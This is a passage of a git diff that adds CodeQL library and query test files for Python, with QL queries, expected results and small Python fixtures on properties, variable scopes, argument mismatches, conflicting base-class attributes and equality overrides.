a/python/ql/test/library-tests/types/properties/Getters.ql b/python/ql/test/library-tests/types/properties/Getters.ql new file mode 100644 index 00000000000..2d495ccfc2f --- /dev/null +++ b/python/ql/test/library-tests/types/properties/Getters.ql @@ -0,0 +1,5 @@ +import python + +from PythonPropertyObject p + +select p.toString(), p.getGetter().toString() diff --git a/python/ql/test/library-tests/types/properties/PythonProperties.expected b/python/ql/test/library-tests/types/properties/PythonProperties.expected new file mode 100644 index 00000000000..4bb0de96c31 --- /dev/null +++ b/python/ql/test/library-tests/types/properties/PythonProperties.expected @@ -0,0 +1,3 @@ +| Property p1 | +| Property p2 | +| Property p3 | \ No newline at end of file diff --git a/python/ql/test/library-tests/types/properties/PythonProperties.ql b/python/ql/test/library-tests/types/properties/PythonProperties.ql new file mode 100644 index 00000000000..91281c321a0 --- /dev/null +++ b/python/ql/test/library-tests/types/properties/PythonProperties.ql @@ -0,0 +1,5 @@ +import python + +from PythonPropertyObject p + +select p.toString() diff --git a/python/ql/test/library-tests/types/properties/Setters.expected b/python/ql/test/library-tests/types/properties/Setters.expected new file mode 100644 index 00000000000..852998fd746 --- /dev/null +++ b/python/ql/test/library-tests/types/properties/Setters.expected @@ -0,0 +1,2 @@ +| Property p1 | Function p1 | +| Property p3 | Function p3_set | \ No newline at end of file diff --git a/python/ql/test/library-tests/types/properties/Setters.ql b/python/ql/test/library-tests/types/properties/Setters.ql new file mode 100644 index 00000000000..4e13e54db63 --- /dev/null +++ b/python/ql/test/library-tests/types/properties/Setters.ql @@ -0,0 +1,5 @@ +import python + +from PythonPropertyObject p + +select p.toString(), p.getSetter().toString() diff --git a/python/ql/test/library-tests/types/properties/properties.py b/python/ql/test/library-tests/types/properties/properties.py new file mode 100644 index 00000000000..4f092454ac1 --- /dev/null +++ b/python/ql/test/library-tests/types/properties/properties.py @@ -0,0 +1,29 @@ +class C(object): + + @property + def p1(self): + return 1 + + @p1.setter + def p1(self, val): + pass + + @property + def p2(self): + return 1 + + @p2.deleter + def p2(self, val): + pass + + def p3(self): + return 1 + + p3 = property(p3) + + def p3_set(self, val): + pass + + p3 = p3.setter(p3_set) + + \ No newline at end of file diff --git a/python/ql/test/library-tests/variables/definitions/test.expected b/python/ql/test/library-tests/variables/definitions/test.expected new file mode 100644 index 00000000000..dc853ee7f2f --- /dev/null +++ b/python/ql/test/library-tests/variables/definitions/test.expected @@ -0,0 +1,4 @@ +| 3 | 5 | ControlFlowNode for fail5 | +| 4 | 5 | ControlFlowNode for Tuple | +| 4 | 5 | ControlFlowNode for x | +| 4 | 8 | ControlFlowNode for y | \ No newline at end of file diff --git a/python/ql/test/library-tests/variables/definitions/test.py b/python/ql/test/library-tests/variables/definitions/test.py new file mode 100644 index 00000000000..0695a275b3c --- /dev/null +++ b/python/ql/test/library-tests/variables/definitions/test.py @@ -0,0 +1,5 @@ + +#ODASA-4153 +def fail5(t): + x, y = t + return x diff --git a/python/ql/test/library-tests/variables/definitions/test.ql b/python/ql/test/library-tests/variables/definitions/test.ql new file mode 100644 index 00000000000..9abee816b3a --- /dev/null +++ b/python/ql/test/library-tests/variables/definitions/test.ql @@ -0,0 +1,5 @@ +import python + +from DefinitionNode d + +select d.getLocation().getStartLine(), d.getLocation().getStartColumn(), d.toString() diff --git a/python/ql/test/library-tests/variables/scopes/free.expected b/python/ql/test/library-tests/variables/scopes/free.expected new file mode 100644 index 00000000000..3277eb55dd6 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/free.expected @@ -0,0 +1,9 @@ +| Local Variable local2 | Function func2 | Function inner1 | +| Local Variable local4 | Function func3 | Function inner2 | +| Local Variable local4 | Function func3 | Function inner_outer | +| Local Variable local5 | Function inner_outer | Function inner2 | +| Local Variable param4 | Function func3 | Function inner2 | +| Local Variable param4 | Function func3 | Function inner_outer | +| Local Variable param5 | Function func3 | Function inner_outer | +| Local Variable param6 | Function func4 | Function meth_inner | +| Local Variable z | Function func6 | Function listcomp | diff --git a/python/ql/test/library-tests/variables/scopes/free.ql b/python/ql/test/library-tests/variables/scopes/free.ql new file mode 100644 index 00000000000..1e15bb3a312 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/free.ql @@ -0,0 +1,7 @@ +import python + +from LocalVariable v, Scope inner +where v.escapes() and inner = v.getAnAccess().getScope() and +inner != v.getScope() +select v.toString(), v.getScope().toString(), inner.toString() + diff --git a/python/ql/test/library-tests/variables/scopes/globals.expected b/python/ql/test/library-tests/variables/scopes/globals.expected new file mode 100644 index 00000000000..c0ed16f7582 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/globals.expected @@ -0,0 +1,17 @@ +| Global Variable C | Module test | +| Global Variable __name__ | Module test | +| Global Variable __package__ | Module test | +| Global Variable base | Module test | +| Global Variable func0 | Module test | +| Global Variable func1 | Module test | +| Global Variable func2 | Module test | +| Global Variable func3 | Module test | +| Global Variable func4 | Module test | +| Global Variable func5 | Module test | +| Global Variable func6 | Module test | +| Global Variable global0 | Module test | +| Global Variable global1 | Module test | +| Global Variable global_local | Module test | +| Global Variable range | Module test | +| Global Variable seq | Module test | +| Global Variable use_in_loop | Module test | diff --git a/python/ql/test/library-tests/variables/scopes/globals.ql b/python/ql/test/library-tests/variables/scopes/globals.ql new file mode 100644 index 00000000000..8d200aa81b0 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/globals.ql @@ -0,0 +1,5 @@ +import python + +from GlobalVariable l +select l.toString(), l.getScope().toString() + diff --git a/python/ql/test/library-tests/variables/scopes/locals.expected b/python/ql/test/library-tests/variables/scopes/locals.expected new file mode 100644 index 00000000000..1a662bdb671 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/locals.expected @@ -0,0 +1,34 @@ +| Local Variable .0 | test.py:45:12:45:27 | Function listcomp | fast | +| Local Variable .0 | test.py:48:12:48:29 | Function listcomp | fast | +| Local Variable .0 | test.py:52:5:52:25 | Function listcomp | fast | +| Local Variable Local | test.py:38:1:38:18 | Function func4 | fast | +| Local Variable class_local | test.py:30:1:30:14 | Class C | name | +| Local Variable inner1 | test.py:15:1:15:12 | Function func2 | fast | +| Local Variable inner2 | test.py:24:5:24:22 | Function inner_outer | fast | +| Local Variable inner_outer | test.py:22:1:22:26 | Function func3 | fast | +| Local Variable local0 | test.py:8:1:8:12 | Function func1 | fast | +| Local Variable local1 | test.py:8:1:8:12 | Function func1 | fast | +| Local Variable local2 | test.py:15:1:15:12 | Function func2 | fast | +| Local Variable local3 | test.py:17:5:17:23 | Function inner1 | fast | +| Local Variable local4 | test.py:22:1:22:26 | Function func3 | fast | +| Local Variable local5 | test.py:24:5:24:22 | Function inner_outer | fast | +| Local Variable meth | test.py:30:1:30:14 | Class C | name | +| Local Variable meth_inner | test.py:39:5:39:16 | Class Local | name | +| Local Variable mlocal | test.py:34:5:34:19 | Function meth | fast | +| Local Variable param0 | test.py:5:1:5:26 | Function func0 | fast | +| Local Variable param1 | test.py:5:1:5:26 | Function func0 | fast | +| Local Variable param2 | test.py:17:5:17:23 | Function inner1 | fast | +| Local Variable param3 | test.py:25:9:25:27 | Function inner2 | fast | +| Local Variable param4 | test.py:22:1:22:26 | Function func3 | fast | +| Local Variable param5 | test.py:22:1:22:26 | Function func3 | fast | +| Local Variable param6 | test.py:38:1:38:18 | Function func4 | fast | +| Local Variable self | test.py:34:5:34:19 | Function meth | fast | +| Local Variable self | test.py:40:9:40:29 | Function meth_inner | fast | +| Local Variable seq | test.py:44:1:44:15 | Function func5 | fast | +| Local Variable seq | test.py:51:1:51:21 | Function use_in_loop | fast | +| Local Variable v | test.py:51:1:51:21 | Function use_in_loop | fast | +| Local Variable v | test.py:52:5:52:25 | Function listcomp | fast | +| Local Variable x | test.py:45:12:45:27 | Function listcomp | fast | +| Local Variable y | test.py:47:1:47:16 | Function func6 | fast | +| Local Variable y | test.py:48:12:48:29 | Function listcomp | fast | +| Local Variable z | test.py:47:1:47:16 | Function func6 | fast | diff --git a/python/ql/test/library-tests/variables/scopes/locals.ql b/python/ql/test/library-tests/variables/scopes/locals.ql new file mode 100644 index 00000000000..264c5e9b7d1 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/locals.ql @@ -0,0 +1,10 @@ +import python + +from LocalVariable l, string kind +where +l instanceof FastLocalVariable and kind = "fast" +or +l instanceof NameLocalVariable and kind = "name" + +select l, l.getScope(), kind + diff --git a/python/ql/test/library-tests/variables/scopes/lookup.expected b/python/ql/test/library-tests/variables/scopes/lookup.expected new file mode 100644 index 00000000000..2418f1d9283 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/lookup.expected @@ -0,0 +1,34 @@ +| 6 | ControlFlowNode for param0 | local | +| 6 | ControlFlowNode for param1 | local | +| 12 | ControlFlowNode for global_local | global | +| 13 | ControlFlowNode for global1 | global | +| 13 | ControlFlowNode for local0 | local | +| 13 | ControlFlowNode for local1 | local | +| 18 | ControlFlowNode for local2 | non-local | +| 19 | ControlFlowNode for local3 | local | +| 20 | ControlFlowNode for inner1 | local | +| 26 | ControlFlowNode for local4 | non-local | +| 26 | ControlFlowNode for local5 | non-local | +| 26 | ControlFlowNode for param3 | local | +| 26 | ControlFlowNode for param4 | non-local | +| 28 | ControlFlowNode for inner2 | local | +| 28 | ControlFlowNode for local4 | non-local | +| 28 | ControlFlowNode for param4 | non-local | +| 28 | ControlFlowNode for param5 | non-local | +| 30 | ControlFlowNode for base | global | +| 35 | ControlFlowNode for self | local | +| 36 | ControlFlowNode for mlocal | local | +| 41 | ControlFlowNode for param6 | non-local | +| 42 | ControlFlowNode for Local | local | +| 45 | ControlFlowNode for .0 | local | +| 45 | ControlFlowNode for seq | local | +| 45 | ControlFlowNode for x | local | +| 48 | ControlFlowNode for .0 | local | +| 48 | ControlFlowNode for seq | global | +| 48 | ControlFlowNode for y | local | +| 48 | ControlFlowNode for z | non-local | +| 52 | ControlFlowNode for .0 | local | +| 52 | ControlFlowNode for range | global | +| 52 | ControlFlowNode for v | local | +| 53 | ControlFlowNode for seq | local | +| 54 | ControlFlowNode for v | local | diff --git a/python/ql/test/library-tests/variables/scopes/lookup.ql b/python/ql/test/library-tests/variables/scopes/lookup.ql new file mode 100644 index 00000000000..c7a776c7caa --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/lookup.ql @@ -0,0 +1,16 @@ +import python + +from NameNode n, string l +where +n.isLoad() and ( + n.isGlobal() and l = "global" + or + n.isLocal() and l = "local" + or + n.isNonLocal() and l = "non-local" + or + not n.isGlobal() and not n.isLocal() and + not n.isNonLocal() and + l = "none" +) +select n.getLocation().getStartLine(), n.toString(), l diff --git a/python/ql/test/library-tests/variables/scopes/scopes.expected b/python/ql/test/library-tests/variables/scopes/scopes.expected new file mode 100644 index 00000000000..cf4a6edbfbb --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/scopes.expected @@ -0,0 +1,51 @@ +| Global Variable C | test.py:0:0:0:0 | Module test | +| Global Variable __name__ | test.py:0:0:0:0 | Module test | +| Global Variable __package__ | test.py:0:0:0:0 | Module test | +| Global Variable base | test.py:0:0:0:0 | Module test | +| Global Variable func0 | test.py:0:0:0:0 | Module test | +| Global Variable func1 | test.py:0:0:0:0 | Module test | +| Global Variable func2 | test.py:0:0:0:0 | Module test | +| Global Variable func3 | test.py:0:0:0:0 | Module test | +| Global Variable func4 | test.py:0:0:0:0 | Module test | +| Global Variable func5 | test.py:0:0:0:0 | Module test | +| Global Variable func6 | test.py:0:0:0:0 | Module test | +| Global Variable global0 | test.py:0:0:0:0 | Module test | +| Global Variable global1 | test.py:0:0:0:0 | Module test | +| Global Variable global_local | test.py:0:0:0:0 | Module test | +| Global Variable range | test.py:0:0:0:0 | Module test | +| Global Variable seq | test.py:0:0:0:0 | Module test | +| Global Variable use_in_loop | test.py:0:0:0:0 | Module test | +| Local Variable .0 | test.py:45:12:45:27 | Function listcomp | +| Local Variable .0 | test.py:48:12:48:29 | Function listcomp | +| Local Variable .0 | test.py:52:5:52:25 | Function listcomp | +| Local Variable Local | test.py:38:1:38:18 | Function func4 | +| Local Variable class_local | test.py:30:1:30:14 | Class C | +| Local Variable inner1 | test.py:15:1:15:12 | Function func2 | +| Local Variable inner2 | test.py:24:5:24:22 | Function inner_outer | +| Local Variable inner_outer | test.py:22:1:22:26 | Function func3 | +| Local Variable local0 | test.py:8:1:8:12 | Function func1 | +| Local Variable local1 | test.py:8:1:8:12 | Function func1 | +| Local Variable local2 | test.py:15:1:15:12 | Function func2 | +| Local Variable local3 | test.py:17:5:17:23 | Function inner1 | +| Local Variable local4 | test.py:22:1:22:26 | Function func3 | +| Local Variable local5 | test.py:24:5:24:22 | Function inner_outer | +| Local Variable meth | test.py:30:1:30:14 | Class C | +| Local Variable meth_inner | test.py:39:5:39:16 | Class Local | +| Local Variable mlocal | test.py:34:5:34:19 | Function meth | +| Local Variable param0 | test.py:5:1:5:26 | Function func0 | +| Local Variable param1 | test.py:5:1:5:26 | Function func0 | +| Local Variable param2 | test.py:17:5:17:23 | Function inner1 | +| Local Variable param3 | test.py:25:9:25:27 | Function inner2 | +| Local Variable param4 | test.py:22:1:22:26 | Function func3 | +| Local Variable param5 | test.py:22:1:22:26 | Function func3 | +| Local Variable param6 | test.py:38:1:38:18 | Function func4 | +| Local Variable self | test.py:34:5:34:19 | Function meth | +| Local Variable self | test.py:40:9:40:29 | Function meth_inner | +| Local Variable seq | test.py:44:1:44:15 | Function func5 | +| Local Variable seq | test.py:51:1:51:21 | Function use_in_loop | +| Local Variable v | test.py:51:1:51:21 | Function use_in_loop | +| Local Variable v | test.py:52:5:52:25 | Function listcomp | +| Local Variable x | test.py:45:12:45:27 | Function listcomp | +| Local Variable y | test.py:47:1:47:16 | Function func6 | +| Local Variable y | test.py:48:12:48:29 | Function listcomp | +| Local Variable z | test.py:47:1:47:16 | Function func6 | diff --git a/python/ql/test/library-tests/variables/scopes/scopes.ql b/python/ql/test/library-tests/variables/scopes/scopes.ql new file mode 100644 index 00000000000..b87a45c9939 --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/scopes.ql @@ -0,0 +1,6 @@ + +import python + +from Variable v, Scope s +where v.getScope() = s +select v, s diff --git a/python/ql/test/library-tests/variables/scopes/test.py b/python/ql/test/library-tests/variables/scopes/test.py new file mode 100644 index 00000000000..940576d44df --- /dev/null +++ b/python/ql/test/library-tests/variables/scopes/test.py @@ -0,0 +1,54 @@ + +global0 = 0 +global1 = 1 + +def func0(param0, param1): + return param0 + param1 + +def func1(): + global global0, global_local + local0 = 0 + local1 = 1 + global_local + global0 = local0 + local1 + global1 + +def func2(): + local2 = 2 + def inner1(param2): + local3 = local2 + return local3 + return inner1 + +def func3(param4, param5): + local4 = 4 + def inner_outer(): + def inner2(param3): + return local5 + local4 + param3 + param4 + local5 = 3 + return inner2(local4 + param4 + param5) + +class C(base): + + class_local = 7 + + def meth(self): + mlocal = self + return mlocal + +def func4(param6): + class Local: + def meth_inner(self): + return param6 + return Local() + +def func5(seq): + return [x for x in seq] + +def func6(y, z): + return [y+z for y in seq] + +#FP observed in sembuild +def use_in_loop(seq): + [v for v in range(3)] + for v in seq: + v #x redefined -- fine in 2 and 3. diff --git a/python/ql/test/queries.xml b/python/ql/test/queries.xml new file mode 100644 index 00000000000..27449f34263 --- /dev/null +++ b/python/ql/test/queries.xml @@ -0,0 +1 @@ + diff --git a/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.expected b/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.expected new file mode 100644 index 00000000000..cf89ddfc44f --- /dev/null +++ b/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.expected @@ -0,0 +1,4 @@ +| wrong_arguments.py:65:1:65:7 | F0() | Keyword argument 'y' is not a supported parameter name of $@. | wrong_arguments.py:4:5:4:26 | Function __init__ | F0.__init__ | +| wrong_arguments.py:66:1:66:7 | F1() | Keyword argument 'z' is not a supported parameter name of $@. | wrong_arguments.py:8:5:8:36 | Function __init__ | F1.__init__ | +| wrong_arguments.py:67:1:67:12 | F2() | Keyword argument 'y' is not a supported parameter name of $@. | wrong_arguments.py:12:5:12:30 | Function __init__ | F2.__init__ | +| wrong_arguments.py:92:1:92:27 | F6() | Keyword argument 'z' is not a supported parameter name of $@. | wrong_arguments.py:28:5:28:30 | Function __init__ | F6.__init__ | diff --git a/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.qlref b/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.qlref new file mode 100644 index 00000000000..408766dcbf4 --- /dev/null +++ b/python/ql/test/query-tests/Classes/Arguments/WrongNameForArgumentInClassInstantiation.qlref @@ -0,0 +1 @@ +Classes/WrongNameForArgumentInClassInstantiation.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.expected b/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.expected new file mode 100644 index 00000000000..b0c156dc867 --- /dev/null +++ b/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.expected @@ -0,0 +1,15 @@ +| wrong_arguments.py:37:1:37:4 | F0() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:4:5:4:26 | Function __init__ | F0.__init__ | +| wrong_arguments.py:38:1:38:4 | F1() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:8:5:8:36 | Function __init__ | F1.__init__ | +| wrong_arguments.py:39:1:39:4 | F2() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:12:5:12:30 | Function __init__ | F2.__init__ | +| wrong_arguments.py:40:1:40:4 | F3() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:16:5:16:40 | Function __init__ | F3.__init__ | +| wrong_arguments.py:41:1:41:4 | F4() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:20:5:20:31 | Function __init__ | F4.__init__ | +| wrong_arguments.py:42:1:42:4 | F5() | Call to $@ with too few arguments; should be no fewer than 1. | wrong_arguments.py:24:5:24:42 | Function __init__ | F5.__init__ | +| wrong_arguments.py:43:1:43:5 | F6() | Call to $@ with too few arguments; should be no fewer than 2. | wrong_arguments.py:28:5:28:30 | Function __init__ | F6.__init__ | +| wrong_arguments.py:44:1:44:7 | F7() | Call to $@ with too few arguments; should be no fewer than 3. | wrong_arguments.py:32:5:32:33 | Function __init__ | F7.__init__ | +| wrong_arguments.py:48:1:48:7 | F0() | Call to $@ with too many arguments; should be no more than 1. | wrong_arguments.py:4:5:4:26 | Function __init__ | F0.__init__ | +| wrong_arguments.py:49:1:49:9 | F1() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:8:5:8:36 | Function __init__ | F1.__init__ | +| wrong_arguments.py:50:1:50:9 | F5() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:24:5:24:42 | Function __init__ | F5.__init__ | +| wrong_arguments.py:51:1:51:9 | F6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:28:5:28:30 | Function __init__ | F6.__init__ | +| wrong_arguments.py:52:1:52:11 | F6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:28:5:28:30 | Function __init__ | F6.__init__ | +| wrong_arguments.py:85:1:85:12 | F6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:28:5:28:30 | Function __init__ | F6.__init__ | +| wrong_arguments.py:86:1:86:7 | F6() | Call to $@ with too many arguments; should be no more than 2. | wrong_arguments.py:28:5:28:30 | Function __init__ | F6.__init__ | diff --git a/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.qlref b/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.qlref new file mode 100644 index 00000000000..4fdda20e163 --- /dev/null +++ b/python/ql/test/query-tests/Classes/Arguments/WrongNumberArgumentsInClassInstantiation.qlref @@ -0,0 +1 @@ +Classes/WrongNumberArgumentsInClassInstantiation.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/Arguments/wrong_arguments.py b/python/ql/test/query-tests/Classes/Arguments/wrong_arguments.py new file mode 100644 index 00000000000..7363fdebef4 --- /dev/null +++ b/python/ql/test/query-tests/Classes/Arguments/wrong_arguments.py @@ -0,0 +1,93 @@ +# Test cases corresponding to /Expressions/Arguments/wrong_arguments.py + +class F0(object): + def __init__(self, x): + pass + +class F1(object): + def __init__(self, x, y = None): + pass + +class F2(object): + def __init__(self, x, *y): + pass + +class F3(object): + def __init__(self, x, y = None, *z): + pass + +class F4(object): + def __init__(self, x, **y): + pass + +class F5(object): + def __init__(self, x, y = None, **z): + pass + +class F6(object): + def __init__(self, x, y): + pass + +class F7(object): + def __init__(self, x, y, z): + pass + +# Too few arguments + +F0() +F1() +F2() +F3() +F4() +F5() +F6(1) +F7(1,2) + +#Too many arguments + +F0(1,2) +F1(1,2,3) +F5(1,2,3) +F6(1,2,3) +F6(1,2,3,4) + +#OK + +#Not too few +F7(*t) + +#Not too many + +F2(1,2,3,4,5,6) + + +#Illegal name +F0(y=1) +F1(z=1) +F2(x=0, y=1) + + +#Ok name +F0(x=0) +F1(x=0, y=1) +F4(q=4) + +#This is correct, but a bit weird. +F6(**{'x':1, 'y':2}) + +t2 = (1,2) +t3 = (1,2,3) + +#Ok +f(*t2) + +#Too many +F6(*(1,2,3)) +F6(*t3) + +#Ok +F6(**{'x':1, 'y':2}) + +#Illegal name +F6(**{'x':1, 'y':2, 'z':3}) + diff --git a/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.expected b/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.expected new file mode 100644 index 00000000000..6aca2a29c46 --- /dev/null +++ b/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.expected @@ -0,0 +1,2 @@ +| test.py:26:1:26:25 | class Conflict | Base classes have conflicting values for attribute 'attr': $@ and $@. | file://:Compiled Code:0:0:0:0 | int 1 | int 1 | test.py:20:13:20:16 | Tuple | Tuple | +| test.py:26:1:26:25 | class Conflict | Base classes have conflicting values for attribute 'meth': $@ and $@. | test.py:14:5:14:19 | Function meth | Function meth | test.py:22:5:22:19 | Function meth | Function meth | diff --git a/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.qlref b/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.qlref new file mode 100644 index 00000000000..3d6fa6534c5 --- /dev/null +++ b/python/ql/test/query-tests/Classes/conflicting/ConflictingAttributesInBaseClasses.qlref @@ -0,0 +1 @@ +Classes/ConflictingAttributesInBaseClasses.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/conflicting/odasa6643.py b/python/ql/test/query-tests/Classes/conflicting/odasa6643.py new file mode 100644 index 00000000000..30efea5df35 --- /dev/null +++ b/python/ql/test/query-tests/Classes/conflicting/odasa6643.py @@ -0,0 +1,17 @@ +#This code has conflicting attributes, +#but the documentation in the standard library tells you do it this way :( + +#See https://discuss.lgtm.com/t/warning-on-normal-use-of-python-socketserver-mixins/677 + +class ThreadingMixIn(object): + + def process_request(selfself, req): + pass + +class HTTPServer(object): + + def process_request(selfself, req): + pass + +class _ThreadingSimpleServer(ThreadingMixIn, HTTPServer): + pass diff --git a/python/ql/test/query-tests/Classes/conflicting/test.py b/python/ql/test/query-tests/Classes/conflicting/test.py new file mode 100644 index 00000000000..624cea77ce5 --- /dev/null +++ b/python/ql/test/query-tests/Classes/conflicting/test.py @@ -0,0 +1,52 @@ + + +#Conflicting attributes in base classes + +class Common(object): + ok1 = None + + def ok2(self): + return None + +class CB1(Common): + attr = 1 + + def meth(self): + pass + + +class CB2(Common): + + attr = (x, y) + + def meth(self): + return 0 + + +class Conflict(CB1, CB2): + pass + +class Override1(Common): + + def ok2(self): + return 1 + +class Override2(Common): + + def ok2(self): + return 2 + +class OK1(Override1, Override2): + + def ok2(self): + return 3 + + +class Override3(Override2): + pass + +class OK2(Override1, Override3): + + def ok2(self): + return 4 + diff --git a/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.expected b/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.expected new file mode 100644 index 00000000000..ae4d733f7ad --- /dev/null +++ b/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.expected @@ -0,0 +1 @@ +| test.py:10:9:10:19 | Attribute | Mutation of descriptor $@ object may lead to action-at-a-distance effects or race conditions for properties. | test.py:3:1:3:33 | class MutatingDescriptor | MutatingDescriptor | diff --git a/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.qlref b/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.qlref new file mode 100644 index 00000000000..08449405ad6 --- /dev/null +++ b/python/ql/test/query-tests/Classes/descriptors/MutatingDescriptor.qlref @@ -0,0 +1 @@ +Classes/MutatingDescriptor.ql diff --git a/python/ql/test/query-tests/Classes/descriptors/test.py b/python/ql/test/query-tests/Classes/descriptors/test.py new file mode 100644 index 00000000000..ba8da34839e --- /dev/null +++ b/python/ql/test/query-tests/Classes/descriptors/test.py @@ -0,0 +1,14 @@ + +#This is prone to strange side effects and race conditions. +class MutatingDescriptor(object): + + def __init__(self, func): + self.my_func = func + + def __get__(self, obj, obj_type): + #Modified state is visible to all instances of C that might call "show". + self.my_obj = obj + return self + + def __call__(self, *args): + return self.my_func(self.my_obj, *args) \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.expected b/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref b/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref new file mode 100644 index 00000000000..e542a6176ad --- /dev/null +++ b/python/ql/test/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref @@ -0,0 +1 @@ +Classes/DefineEqualsWhenAddingAttributes.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/equals-attr/test.py b/python/ql/test/query-tests/Classes/equals-attr/test.py new file mode 100644 index 00000000000..148459d0871 --- /dev/null +++ b/python/ql/test/query-tests/Classes/equals-attr/test.py @@ -0,0 +1,16 @@ + +class GenericEquality(object): + + def __eq__(self, other): + if type(other) is not type(self): + return False + for attr in self.__dict__: + if getattr(other, attr) != getattr(self, attr): + return False + return True + + +class AddAttributes(GenericEquality): + + def __init__(self, args): + self.a, self.b = args diff --git a/python/ql/test/query-tests/Classes/equals-hash/DefineEqualsWhenAddingFields.expected b/python/ql/test/query-tests/Classes/equals-hash/DefineEqualsWhenAddingFields.expected new file mode 100644 index 00000000000..dcdb8992b18 --- /dev/null +++ b/python/ql/test/query-tests/Classes/equals-hash/DefineEqualsWhenAddingFields.expected @@ -0,0 +1 @@ +| attr_eq_test.py:21:1:21:27 | class BadColorPoint | The class 'BadColorPoint' does not override $@, but adds the new attribute $@. | attr_eq_test.py:10:5:10:28 | Function __eq__ | '__eq__' | attr_eq_test.py:25:9:25:19 | Attribute | _color | diff --git a/python/ql/test/query-tests/Classes/equals-hash/DefineEqualsWhenAddingFields.qlref b/python/ql/test/query-tests/Classes/equals-hash/DefineEqualsWhenAddingFields.qlref new file mode 100644 index 00000000000..e542a6176ad --- /dev/null +++ b/python/ql/test/query-tests/Classes/equals-hash/DefineEqualsWhenAddingFields.qlref @@ -0,0 +1 @@ +Classes/DefineEqualsWhenAddingAttributes.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/equals-hash/attr_eq_test.py b/python/ql/test/query-tests/Classes/equals-hash/attr_eq_test.py new file mode 100644 index 00000000000..e1e545fe9ef --- /dev/null +++ b/python/ql/test/query-tests/Classes/equals-hash/attr_eq_test.py @@ -0,0 +1,107 @@ +class Point(object): + + def __init__(self, x, y): + self._x = x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): + if not isinstance(other, Point): + return False + return self._x == other._x and self._y == other._y + + def __ne__(self, other): + return not self.__eq__(other) + + def __hash__(self): + return hash((self._x, self._y)) + +class BadColorPoint(Point): + + def __init__(self, x, y, color): + Point.__init__(self, x, y) + self._color = color + + def __repr__(self): + return 'ColorPoint(%r, %r)' % (self._x, self._y, self._color) + +class GoodColorPoint(Point): + + def __init__(self, x, y, color): + Point.__init__(self, x, y) + self._color = color + + def __repr__(self): + return 'ColorPoint(%r, %r)' % (self._x, self._y, self._color) + + def __eq__(self, other): + if not isinstance(other, GoodColorPoint): + return False + return Point.__eq__(self, other) and self._color == other._color + + def __ne__(self, other): + return not self.__eq__(other) + + def __hash__(self): + return hash((self._x, self._y, self._color)) + +class GenericPoint(object): + + def __init__(self, x, y): + self._x = x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): + return self.__class__ == other.__class__ and self.__dict__ == other.__dict__ + + def __ne__(self, other): + return not self.__eq__(other) + + def __hash__(self): + return hash((self._x, self._y)) + +class GoodGenericColorPoint(GenericPoint): + + def __init__(self, x, y, color): + GenericPoint.__init__(self, x, y) + self._color = color + +class RedefineEq(object): + + def __init__(self, x, y): + self._x = x + self._y = y + + def __eq__(self, other): + return self is other + +class OK1(RedefineEq): + + def __init__(self, x, y, z): + RedefineEq.__init__(self, x, y) + self.z = z + +class OK2(GenericPoint): + + def __init__(self, x, y, color): + GenericPoint.__init__(self, x, y) + self._color = color + + def __eq__(self, other): + return self is other + +class ExpectingAttribute(object): + + def __eq__(self, other): + return self.x == other.x + +class 